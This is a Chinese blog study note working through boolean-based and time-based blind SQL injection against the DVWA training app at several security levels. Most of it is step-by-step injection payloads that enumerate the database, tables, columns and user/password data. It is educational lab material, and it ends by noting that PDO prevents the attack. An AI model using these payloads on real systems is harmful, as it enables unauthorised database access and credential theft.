DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

基于布尔值的盲注

一、DVWA分析

将DVWA的级别设置为low

1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变,此次不能简单的通过回显的值来进行一般的注入了,可以通过bool盲注或者基于时间的注入。

  

2.判断sql是否存在注入,以及注入的类型

下图说明存在字符型注入

  

  

  

3.猜解当前数据库名

3.1猜解当前数据库的长度

1' and  length(database())=4 #

  

3.2猜解数据库的名称

1' and ascii(substr(database(),1,1))>99 #

  

1' and ascii(substr(database(),1,1))>100 #

  

3.3从上面的图可以看到当前的数据库名的第一位是d,依照上面的方法猜解数据库的其他3位 猜解到数据库名位dvwa

4.猜解数据库中的表名

4.1猜解数据库中有几个表,下图可以得出有2个表

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

  

4.2猜解表名称的长度

猜解第一个表的长度

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9#

猜解第二个表的长度

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5 #

4.3猜解表的名称

猜解第一个表

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103#

依次猜解,获得第一个表的名称(guestbook)

猜解第二个表

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117#

依次猜解,获得第二个表的名称(users)

5.猜解表中的字段名

5.1猜解users表中有几个字段

1' and (select count(column_name) from information_schema.columns where table_name='users')=8#

5.2猜解每个字段的长度

猜解第一个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7#

猜解第二个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=10#

猜解第三个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=9#

猜解第四个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 3,1))=4#

猜解第五个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8#

猜解第六个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 5,1))=6#

猜解第七个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 6,1))=10#

猜解第八个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 7,1))=12#

5.3猜解字段的名称

这里只猜解第三个字段(user)和第四个字段(password)的名称

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=117#

依次猜解,获得字段的名称(user)

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1))=112#

依次猜解,获得字段的名称(password)

5.4猜解数据

1' and (select count(user) from users)=5#  猜解到user字段有5行数据

1' and  ascii(substr((select user from users limit 0,1),1,1))=97#

依次猜解user字段的所有行数的数据

1' and ascii(substr((select password from users limit 1,1),1,1))=85#

将DVWA的级别设置为medium

1.可以看到前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数,分析源码mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义

  

2.判断是否存在注入点以及注入的类型

输入如下两行,判断返回的结果,下图说明存在数字型注入

1 and 1=1#

1 and 1=2#

  

  

3.猜解当前数据库名

3.1猜解数据库的长度

1 and length(database())=4#

  

3.2猜解数据库的名称

1 and ascii(substr(database(),1,1))=100#

依次猜解,获得当前数据库的名称位dvwa

4.猜解数据库中的表

4.1猜解数据库中有几个表

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

4.2猜解表名称的长度

猜解第一个表的长度

1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#

猜解第二个表的长度

1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))=5#

4.3猜解表的名称

猜解第一个表

1 and ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1))=103#

依次猜解,获得第一个表的名称(guestbook)

猜解第二个表

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#

依次猜解,获得第二个表的名称(users)

5.猜解表中的字段名

5.1猜解users表中有几个字段

1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8#

5.2猜解字段的长度

5.3猜解字段的名称

将DVWA的级别设置为High

1.分析源码,利用cookie传递参数id,当sql查询结果为空时,会执行sleep函数(防止基于时间的盲注),然后在sql查询语句中加入了limit限制,但可以通过#注释掉来绕过防御。

  

将DVWA的级别设置为Impossible

1.分析源码,对参数使用PDO技术,PDO技术将用户传递的参数与sql查询语句完全分离,杜绝了sql注入

  

 

DVWA-SQL基于时间盲注

将DVWA的级别设置为low

1.判断是否存在注入点以及注入类型

通过输入以下两行,根据返回的延迟判断存在字符型注入

1 and sleep(5)#

1' and sleep(5)#

2.猜解当前数据库名

2.1猜解当前数据库的长度

1'  and if(length(database())=4,sleep(5),1)#

2.2猜解数据库的名称

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#

依次猜解,获得当前数据库的名称位dvwa

3.猜解数据库中的表

3.1猜解数据库中有几个表

1'  and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#

3.2猜解表名称的长度

猜解第一个表的长度

1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9,sleep(5),1)#

猜解第二个表的长度

1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5,sleep(5),1)#

3.3猜解表的名称

猜解第一个表

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103,sleep(5),1)#

依次猜解,获得第一个表的名称(guestbook)

猜解第一个表

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117,sleep(5),1)#

依次猜解,获得第二个表的名称(users)

4. 猜解表中的字段名

4.1猜解users表中有几个字段

1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#

4.2猜解字段的名称

同上

  

 

posted @ 2019-05-04 11:34  雨中落叶  阅读(1796)  评论(0编辑  收藏  举报